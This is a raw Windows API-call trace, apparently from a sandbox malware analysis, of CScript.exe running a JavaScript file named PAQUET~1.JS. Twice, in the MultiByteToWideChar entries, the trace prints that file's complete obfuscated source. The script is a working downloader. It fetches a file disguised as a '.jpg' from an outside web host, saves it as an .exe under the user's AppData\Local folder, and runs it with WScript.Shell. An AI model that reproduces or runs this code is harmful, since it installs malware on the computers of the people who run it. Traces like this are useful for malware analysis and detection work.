	[0048.213] ITypeInfo:GetRefTypeInfo (in: This=0x92e560ad38, hreftype=0xfffffffe, ppTInfo=0x7ff7ecaf20c8 | out: ppTInfo=0x7ff7ecaf20c8*=0x92e560ad90) returned 0x0
	[0048.213] IUnknown:Release (This=0x92e560ad38) returned 0x1
	[0048.213] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e560a400, GUID=0x7ff7ecae77a0*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x92e559e8f8 | out: ppTInfo=0x92e559e8f8*=0x92e560ade8) returned 0x0
	[0048.213] ITypeInfo:GetRefTypeOfImplType (in: This=0x92e560ade8, index=0xffffffff, pRefType=0x92e559e8f0 | out: pRefType=0x92e559e8f0*=0xfffffffe) returned 0x0
	[0048.213] ITypeInfo:GetRefTypeInfo (in: This=0x92e560ade8, hreftype=0xfffffffe, ppTInfo=0x7ff7ecaf2088 | out: ppTInfo=0x7ff7ecaf2088*=0x92e560ae40) returned 0x0
	[0048.213] IUnknown:Release (This=0x92e560ade8) returned 0x1
	[0048.213] ITypeLib:GetTypeInfoOfGuid (in: This=0x92e560a400, GUID=0x7ff7ecae6ea0*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x92e559e8f8 | out: ppTInfo=0x92e559e8f8*=0x92e560ae98) returned 0x0
	[0048.213] ITypeInfo:GetRefTypeOfImplType (in: This=0x92e560ae98, index=0xffffffff, pRefType=0x92e559e8f0 | out: pRefType=0x92e559e8f0*=0xfffffffe) returned 0x0
	[0048.213] ITypeInfo:GetRefTypeInfo (in: This=0x92e560ae98, hreftype=0xfffffffe, ppTInfo=0x7ff7ecaf2048 | out: ppTInfo=0x7ff7ecaf2048*=0x92e560aef0) returned 0x0
	[0048.213] IUnknown:Release (This=0x92e560ae98) returned 0x1
	[0048.213] IUnknown:Release (This=0x92e560a400) returned 0x4
	[0048.213] GetCurrentThreadId () returned 0xe70
	[0048.213] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128
	[0048.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7ff7ecad1790, lpParameter=0x92e5935bf0, dwCreationFlags=0x0, lpThreadId=0x92e5935c18 | out: lpThreadId=0x92e5935c18*=0xec4) returned 0x12c
	[0048.214] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x92e559eb70*=0x128, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0
	[0048.224] CloseHandle (hObject=0x128) returned 1
	[0048.224] GetFullPathNameW (in: lpFileName="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS", nBufferLength=0x104, lpBuffer=0x92e559ec60, lpFilePart=0x92e559ec58 | out: lpBuffer="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS", lpFilePart=0x92e559ec58*="PAQUET~1.JS") returned 0x25
	[0048.224] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".JS", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559e160 | out: phkResult=0x92e559e160*=0x146) returned 0x0
	[0048.224] RegQueryValueExW (in: hKey=0x146, lpValueName=0x0, lpReserved=0x0, lpType=0x92e559e124, lpData=0x92e559e170, lpcbData=0x92e559e120*=0x800 | out: lpType=0x92e559e124*=0x1, lpData="JSFile", lpcbData=0x92e559e120*=0xe) returned 0x0
	[0048.224] RegCloseKey (hKey=0x146) returned 0x0
	[0048.224] wcscat_s (in: _Destination="JSFile", _SizeInWords=0x40e, _Source="\\ScriptEngine" | out: _Destination="JSFile\\ScriptEngine") returned 0x0
	[0048.224] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559e160 | out: phkResult=0x92e559e160*=0x146) returned 0x0
	[0048.224] RegQueryValueExW (in: hKey=0x146, lpValueName=0x0, lpReserved=0x0, lpType=0x92e559e124, lpData=0x92e559e9e0, lpcbData=0x92e559e120*=0x200 | out: lpType=0x92e559e124*=0x1, lpData="JScript", lpcbData=0x92e559e120*=0x10) returned 0x0
	[0048.224] RegCloseKey (hKey=0x146) returned 0x0
	[0048.224] CLSIDFromString (in: lpsz="JScript", pclsid=0x92e559e958 | out: pclsid=0x92e559e958*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0
	[0048.225] CoCreateInstance (in: rclsid=0x92e559e958*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff7ecae6e60*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559e950 | out: ppv=0x92e559e950*=0x92e5936470) returned 0x0
	[0048.876] __dllonexit () returned 0x7ffbed46be30
	[0048.876] __dllonexit () returned 0x7ffbed46be40
	[0048.876] __dllonexit () returned 0x7ffbed46be60
	[0048.876] __dllonexit () returned 0x7ffbed46be80
	[0048.876] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x92e559c150, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0048.876] _splitpath_s (in: _FullPath="C:\\Windows\\System32\\CScript.exe", _Drive=0x0, _DriveSize=0x0, _Dir=0x0, _DirSize=0x0, _Filename=0x92e559c2d0, _FilenameSize=0x104, _Ext=0x0, _ExtSize=0x0 | out: _Drive=0x0, _Dir=0x0, _Filename="CScript", _Ext=0x0) returned 0x0
	[0048.876] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x92e559c2b8 | out: phkResult=0x92e559c2b8*=0x0) returned 0x2
	[0048.880] GetVersion () returned 0x2800000a
	[0048.880] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ffc03dc0000
	[0048.880] GetProcAddress (hModule=0x7ffc03dc0000, lpProcName="QueryProtectedPolicy") returned 0x7ffc013cd460
	[0048.880] VirtualProtect (in: lpAddress=0x7ffbed4c6668, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0x92e559c400 | out: lpflOldProtect=0x92e559c400*=0x2) returned 1
	[0048.880] VirtualProtect (in: lpAddress=0x7ffbed4c6668, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x92e559c400 | out: lpflOldProtect=0x92e559c400*=0x4) returned 1
	[0048.883] GetUserDefaultLCID () returned 0x409
	[0048.883] GetACP () returned 0x4e4
	[0048.883] LoadLibraryExA (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffbf69d0000
	[0049.046] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiInitialize") returned 0x7ffbf69d2260
	[0049.046] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiScanString") returned 0x7ffbf69d26b0
	[0049.046] AmsiInitialize () returned 0x0
	[0049.206] GetCurrentThreadId () returned 0xe70
	[0049.207] GetCurrentThreadId () returned 0xe70
	[0049.207] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x92e559e878 | out: phkResult=0x92e559e878*=0x17c) returned 0x0
	[0049.207] RegQueryValueExA (in: hKey=0x17c, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x92e559e870, lpData=0x92e559e868, lpcbData=0x92e559e860*=0x4 | out: lpType=0x92e559e870*=0x4, lpData=0x92e559e868*=0x1, lpcbData=0x92e559e860*=0x4) returned 0x0
	[0049.207] RegCloseKey (hKey=0x17c) returned 0x0
	[0049.207] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x7ffc01360000
	[0049.207] GetProcAddress (hModule=0x7ffc01360000, lpProcName="ResolveDelayLoadedAPI") returned 0x7ffc013ba1b0
	[0049.207] GetProcAddress (hModule=0x7ffc01360000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7ffc0141e790
	[0049.208] ResolveDelayLoadedAPI () returned 0x7ffc01927000
	[0049.208] CoCreateInstance (in: rclsid=0x7ffbed4c8c30*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed4c8c40*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559e820 | out: ppv=0x92e559e820*=0x7ffc01ad6e80) returned 0x0
	[0049.211] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x92e559e800, nSize=0x27 | out: lpBuffer="") returned 0x0
	[0049.211] GetUserDefaultLCID () returned 0x409
	[0049.211] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
	[0049.211] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x92e559e8a0, cchData=6 | out: lpLCData="1252") returned 5
	[0049.211] IsValidCodePage (CodePage=0x4e4) returned 1
	[0049.212] CoCreateInstance (in: rclsid=0x7ffbed4ca7b8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed4ca7a8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x92e59367e8 | out: ppv=0x92e59367e8*=0x92e561dc20) returned 0x0
	[0049.212] IUnknown:AddRef (This=0x92e561dc20) returned 0x2
	[0049.212] GetCurrentProcessId () returned 0xe6c
	[0049.212] GetCurrentThreadId () returned 0xe70
	[0049.212] GetTickCount () returned 0x1ef3d
	[0049.212] ISystemDebugEventFire:BeginSession (This=0x92e561dc20, guidSourceID=0x7ffbed4c7ea0, strSessionName="JScript:00003692:00003696:18126781") returned 0x0
	[0049.212] GetCurrentThreadId () returned 0xe70
	[0049.213] GetTickCount () returned 0x1ef3d
	[0049.213] GetCurrentThreadId () returned 0xe70
	[0049.213] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\Desktop\\PAQUET~1.JS" (normalized: "c:\\users\\ciihmn~1\\desktop\\paquet~1.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x18c
	[0049.213] GetFileSize (in: hFile=0x18c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x88e
	[0049.213] CreateFileMappingA (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x88e, lpName=0x0) returned 0x190
	[0049.213] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x92e5920000
	[0049.214] GetVersionExA (in: lpVersionInformation=0x92e559ea70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x92e559ea70*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0049.214] IsTextUnicode (in: lpv=0x92e5920000, iSize=2190, lpiResult=0x92e559ea60 | out: lpiResult=0x92e559ea60) returned 0
	[0049.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92e5920000, cbMultiByte=2190, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2190
	[0049.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x92e5920000, cbMultiByte=2190, lpWideCharStr=0x92e561e6e8, cchWideChar=2190 | out: lpWideCharStr="var _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsnedoIQoIoczezvpeocxE\",\"MSXML2.XMLHTTP\",\"ADODB.Stream\",\"GET\",\"Open\",\"Send\",\"type\",\"open\",\"responseBody\",\"write\",\"savetofile\",\"uiptrqevcznmmczx\",\"\",\"random\",\"length\",\"floor\",\"substring\",\"9\",\"Process\",\"Environment\",\"WScript.Shell\",\"USERNAME\",\"C:\\\\Users\\\\\",\"\\\\AppData\\\\Local\\\\\",\"Scripting.FileSystemObject\",\"CreateFolder\",\"iQzoDoUqZz\",\"QdrdcicrsecOiDsQnAupu\",\"OQnzEOZCerIQdZQdxucDIA\",\"ndIuoazZdduaqUieQQezdiq\",\"ivUAnuUOdCaqcaxsxraQZCsI\",\"\\\\\",\"86976.exe\",\"\\\\ewowezdnav\",\"https://www.wkc.co.id/heritage58.com/js/lib/inode.jpg\",\"Sleep\",\"Wscript.Shell\",\"Exec\"];var OaQQUZDCxUAzsZn=_$_f4ba[0];var nQCZvuuuQiaIuzoz=_$_f4ba[1];var dQxnDQQvQzCDuZpaQ=_$_f4ba[2];var wIApiuaaICdzunZOva=_$_f4ba[3];var OsDqAUaaEzaaciiZazA=_$_f4ba[4];function qcvpcqaoco(_0x2878,_0x28C8){Ouezvicaiw=  new ActiveXObject(_$_f4ba[5]);peCEQzaesz=  new ActiveXObject(_$_f4ba[6]);Ouezvicaiw[_$_f4ba[8]](_$_f4ba[7],_0x2878,false);Ouezvicaiw[_$_f4ba[9]]();peCEQzaesz[_$_f4ba[10]]= 1;peCEQzaesz[_$_f4ba[11]]();peCEQzaesz[_$_f4ba[13]](Ouezvicaiw[_$_f4ba[12]]);peCEQzaesz[_$_f4ba[14]](_0x28C8,2)}function QueazpoUEq(_0x2A58){var _0x2918=_$_f4ba[15];var _0x2968=_$_f4ba[16];for(var _0x29B8=0;_0x29B8< _0x2A58;_0x29B8++){var _0x2A08=Math[_$_f4ba[19]](Math[_$_f4ba[17]]()* _0x2918[_$_f4ba[18]]);_0x2968+= _0x2918[_$_f4ba[20]](_0x2A08,_0x2A08+ 1)};return _0x2968}var UzzDZAUuQQ=QueazpoUEq(_$_f4ba[21]);environmentVars=  new ActiveXObject(_$_f4ba[24])[_$_f4ba[23]](_$_f4ba[22]);var cqiiiscEZs=environmentVars(_$_f4ba[25]);var uApZCnQQxc=_$_f4ba[26]+ cqiiiscEZs+ _$_f4ba[27]+ UzzDZAUuQQ;oFSO=  new ActiveXObject(_$_f4ba[28]);oFSO[_$_f4ba[29]](uApZCnQQxc);var iQAUiIZazE=uApZCnQQxc;var xnwOunzsEAOcCdQ=_$_f4ba[30];var EpQoACqciiZvcIvs=_$_f4ba[31];var uDOiEcOAAZQUnQDee=_$_f4ba[32];var cIQcQDUdwvxxIrcdci=_$_f4ba[33];var vzcwDiCsZccZCuQAdcc=_$_f4ba[34];var zCzaCZrZCZ=_$_f4ba[35]+ (_$_f4ba[36]);var wvDiQOnaiD=_$_f4ba[37];var QZznOEvnaI=(_$_f4ba[16]);qcvpcqaoco(_$_f4ba[38],iQAUiIZazE+ zCzaCZrZCZ);var rpcriiwDAp=iQAUiIZazE+ zCzaCZrZCZ;WScript[_$_f4ba[39]](500);var WSHELL= new ActiveXObject(_$_f4ba[40]);WSHELL[_$_f4ba[41]](rpcriiwDAp)") returned 2190
	[0049.214] UnmapViewOfFile (lpBaseAddress=0x92e5920000) returned 1
	[0049.214] CloseHandle (hObject=0x190) returned 1
	[0049.214] LoadLibraryW (lpLibFileName="WLDP.DLL") returned 0x7ffbf39b0000
	[0050.088] GetProcAddress (hModule=0x7ffbf39b0000, lpProcName="WldpGetLockdownPolicy") returned 0x7ffbf39b1010
	[0050.088] GetProcAddress (hModule=0x7ffbf39b0000, lpProcName="WldpIsClassInApprovedList") returned 0x7ffbf39b3820
	[0050.088] WldpGetLockdownPolicy () returned 0x10000000
	[0050.088] CloseHandle (hObject=0x18c) returned 1
	[0050.088] GetSystemDirectoryA (in: lpBuffer=0x92e559eaa8, uSize=0x0 | out: lpBuffer="") returned 0x14
	[0050.088] GetSystemDirectoryA (in: lpBuffer=0x92e5936ba0, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0050.089] strcpy_s (in: _Dst=0x92e5936bb3, _DstSize=0xf, _Src="\\" | out: _Dst="\\") returned 0x0
	[0050.089] strcpy_s (in: _Dst=0x92e5936bb4, _DstSize=0xe, _Src="advapi32.dll" | out: _Dst="advapi32.dll") returned 0x0
	[0050.089] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7ffc01640000
	[0050.089] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferIdentifyLevel") returned 0x7ffc0164a7d0
	[0050.089] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferComputeTokenFromLevel") returned 0x7ffc01643ba0
	[0050.089] GetProcAddress (hModule=0x7ffc01640000, lpProcName="SaferCloseLevel") returned 0x7ffc01656cc0
	[0050.090] IdentifyCodeAuthzLevelW () returned 0x1
	[0051.516] GetVersionExA (in: lpVersionInformation=0x92e559cc80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x92e559cc80*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0051.516] GetUserDefaultLCID () returned 0x409
	[0051.516] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x92e559c7f0, cchData=2 | out: lpLCData="") returned 2
	[0051.517] IsFileSupportedName () returned 0x1
	[0051.517] _wcsicmp (_String1=".vbs", _String2=".js") returned 12
	[0051.517] _wcsicmp (_String1=".vbe", _String2=".js") returned 12
	[0051.517] _wcsicmp (_String1=".js", _String2=".js") returned 0
	[0051.520] GetSignedDataMsg () returned 0x0
	[0051.520] GetCurrentProcess () returned 0xffffffffffffffff
	[0051.520] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92e559d4e0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92e559d4e0*=0x204) returned 1
	[0051.520] GetFileSize (in: hFile=0x204, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x88e
	[0051.520] SetFilePointer (in: hFile=0x204, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0051.520] ReadFile (in: hFile=0x204, lpBuffer=0x92e5939bb0, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x92e559d4a0, lpOverlapped=0x0 | out: lpBuffer=0x92e5939bb0*, lpNumberOfBytesRead=0x92e559d4a0*=0x88e, lpOverlapped=0x0) returned 1
	[0051.520] CoInitialize (pvReserved=0x0) returned 0x1
	[0051.520] CoCreateInstance (in: rclsid=0x7ffbed3fe7f8*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffbed3fe808*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x92e559d400 | out: ppv=0x92e559d400*=0x92e593a8b0) returned 0x0
	[0051.831] __dllonexit () returned 0x7ffbed3abcd0
	[0051.831] __dllonexit () returned 0x7ffbed3abcf0
	[0051.832] GetVersionExA (in: lpVersionInformation=0x92e559ae10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7ffb, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0xed3abcf0, szCSDVersion="û\x7f") | out: lpVersionInformation=0x92e559ae10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x2800, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0051.832] GetProcessWindowStation () returned 0xbc
	[0051.832] GetUserObjectInformationA (in: hObj=0xbc, nIndex=1, pvInfo=0x92e559adf8, nLength=0xc, lpnLengthNeeded=0x92e559adf0 | out: pvInfo=0x92e559adf8, lpnLengthNeeded=0x92e559adf0) returned 1
	[0051.832] DllGetClassObject (in: rclsid=0x92e561c5f0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ffc01a5f7c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559be50 | out: ppv=0x92e559be50*=0x92e593a4a0) returned 0x0
	[0051.832] IClassFactory:CreateInstance (in: This=0x92e593a4a0, pUnkOuter=0x0, riid=0x92e559cd50*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x92e559be68 | out: ppvObject=0x92e559be68*=0x92e593a8b0) returned 0x0
	[0051.832] GetSystemInfo (in: lpSystemInfo=0x92e559bce8 | out: lpSystemInfo=0x92e559bce8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) 
	[0051.833] VirtualQuery (in: lpAddress=0x92e559bce0, lpBuffer=0x92e559bd18, dwLength=0x30 | out: lpBuffer=0x92e559bd18*(BaseAddress=0x92e559b000, AllocationBase=0x92e54a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xffffd001)) returned 0x30
	[0051.833] IUnknown:AddRef (This=0x92e593a8b0) returned 0x2
	[0051.833] IUnknown:Release (This=0x92e593a8b0) returned 0x1
	[0051.833] IUnknown:Release (This=0x92e593a4a0) returned 0x0
	[0051.833] IUnknown:QueryInterface (in: This=0x92e593a8b0, riid=0x7ffbed3fe808*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x92e559d398 | out: ppvObject=0x92e559d398*=0x92e593a8b0) returned 0x0
	[0051.833] IUnknown:Release (This=0x92e593a8b0) returned 0x1
	[0051.833] _strnicmp (_Str1="<?xml", _Str="var _", _MaxCount=0x5) returned -58
	[0051.833] IsTextUnicode (in: lpv=0x92e5939bb0, iSize=2190, lpiResult=0x92e559d388 | out: lpiResult=0x92e559d388) returned 0
	[0051.833] GetACP () returned 0x4e4
	[0051.833] GetACP () returned 0x4e4
	[0051.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x92e5939bb0, cbMultiByte=2190, lpWideCharStr=0x92e593a980, cchWideChar=2318 | out: lpWideCharStr="var _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCczpwQcQqaxUr\",\"zdnDUQcCpcwnAuDcqxzCvo\",\"rnuqQAdoZsuOqAzpaxadexZ\",\"IZvsnedoIQoIoczezvpeocxE\",\"MSXML2.XMLHTTP\",\"ADODB.Stream\",\"GET\",\"Open\",\"Send\",\"type\",\"open\",\"responseBody\",\"write\",\"savetofile\",\"uiptrqevcznmmczx\",\"\",\"random\",\"length\",\"floor\",\"substring\",\"9\",\"Process\",\"Environment\",\"WScript.Shell\",\"USERNAME\",\"C:\\\\Users\\\\\",\"\\\\AppData\\\\Local\\\\\",\"Scripting.FileSystemObject\",\"CreateFolder\",\"iQzoDoUqZz\",\"QdrdcicrsecOiDsQnAupu\",\"OQnzEOZCerIQdZQdxucDIA\",\"ndIuoazZdduaqUieQQezdiq\",\"ivUAnuUOdCaqcaxsxraQZCsI\",\"\\\\\",\"86976.exe\",\"\\\\ewowezdnav\",\"https://www.wkc.co.id/heritage58.com/js/lib/inode.jpg\",\"Sleep\",\"Wscript.Shell\",\"Exec\"];var OaQQUZDCxUAzsZn=_$_f4ba[0];var nQCZvuuuQiaIuzoz=_$_f4ba[1];var dQxnDQQvQzCDuZpaQ=_$_f4ba[2];var wIApiuaaICdzunZOva=_$_f4ba[3];var OsDqAUaaEzaaciiZazA=_$_f4ba[4];function qcvpcqaoco(_0x2878,_0x28C8){Ouezvicaiw=  new ActiveXObject(_$_f4ba[5]);peCEQzaesz=  new ActiveXObject(_$_f4ba[6]);Ouezvicaiw[_$_f4ba[8]](_$_f4ba[7],_0x2878,false);Ouezvicaiw[_$_f4ba[9]]();peCEQzaesz[_$_f4ba[10]]= 1;peCEQzaesz[_$_f4ba[11]]();peCEQzaesz[_$_f4ba[13]](Ouezvicaiw[_$_f4ba[12]]);peCEQzaesz[_$_f4ba[14]](_0x28C8,2)}function QueazpoUEq(_0x2A58){var _0x2918=_$_f4ba[15];var _0x2968=_$_f4ba[16];for(var _0x29B8=0;_0x29B8< _0x2A58;_0x29B8++){var _0x2A08=Math[_$_f4ba[19]](Math[_$_f4ba[17]]()* _0x2918[_$_f4ba[18]]);_0x2968+= _0x2918[_$_f4ba[20]](_0x2A08,_0x2A08+ 1)};return _0x2968}var UzzDZAUuQQ=QueazpoUEq(_$_f4ba[21]);environmentVars=  new ActiveXObject(_$_f4ba[24])[_$_f4ba[23]](_$_f4ba[22]);var cqiiiscEZs=environmentVars(_$_f4ba[25]);var uApZCnQQxc=_$_f4ba[26]+ cqiiiscEZs+ _$_f4ba[27]+ UzzDZAUuQQ;oFSO=  new ActiveXObject(_$_f4ba[28]);oFSO[_$_f4ba[29]](uApZCnQQxc);var iQAUiIZazE=uApZCnQQxc;var xnwOunzsEAOcCdQ=_$_f4ba[30];var EpQoACqciiZvcIvs=_$_f4ba[31];var uDOiEcOAAZQUnQDee=_$_f4ba[32];var cIQcQDUdwvxxIrcdci=_$_f4ba[33];var vzcwDiCsZccZCuQAdcc=_$_f4ba[34];var zCzaCZrZCZ=_$_f4ba[35]+ (_$_f4ba[36]);var wvDiQOnaiD=_$_f4ba[37];var QZznOEvnaI=(_$_f4ba[16]);qcvpcqaoco(_$_f4ba[38],iQAUiIZazE+ zCzaCZrZCZ);var rpcriiwDAp=iQAUiIZazE+ zCzaCZrZCZ;WScript[_$_f4ba[39]](500);var WSHELL= new ActiveXObject(_$_f4ba[40]);WSHELL[_$_f4ba[41]](rpcriiwDAp)") returned 2190
	[0051.834] CoUninitialize () 
	[0051.834] CloseHandle (hObject=0x204) returned 1
	[0051.834] wcsncmp (_String1="var _$_f4ba=[\"UZqicziIAc\",\"zcAuqz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105
	[0051.834] wcsncmp (_String1="ar _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84
	[0051.834] wcsncmp (_String1="r _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101
	[0051.835] wcsncmp (_String1=" _$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19
	[0051.835] wcsncmp (_String1="_$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 82
	[0051.835] wcsncmp (_String1="$_f4ba=[\"UZqicziIAc\",\"zcAuqzQcCcz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 23
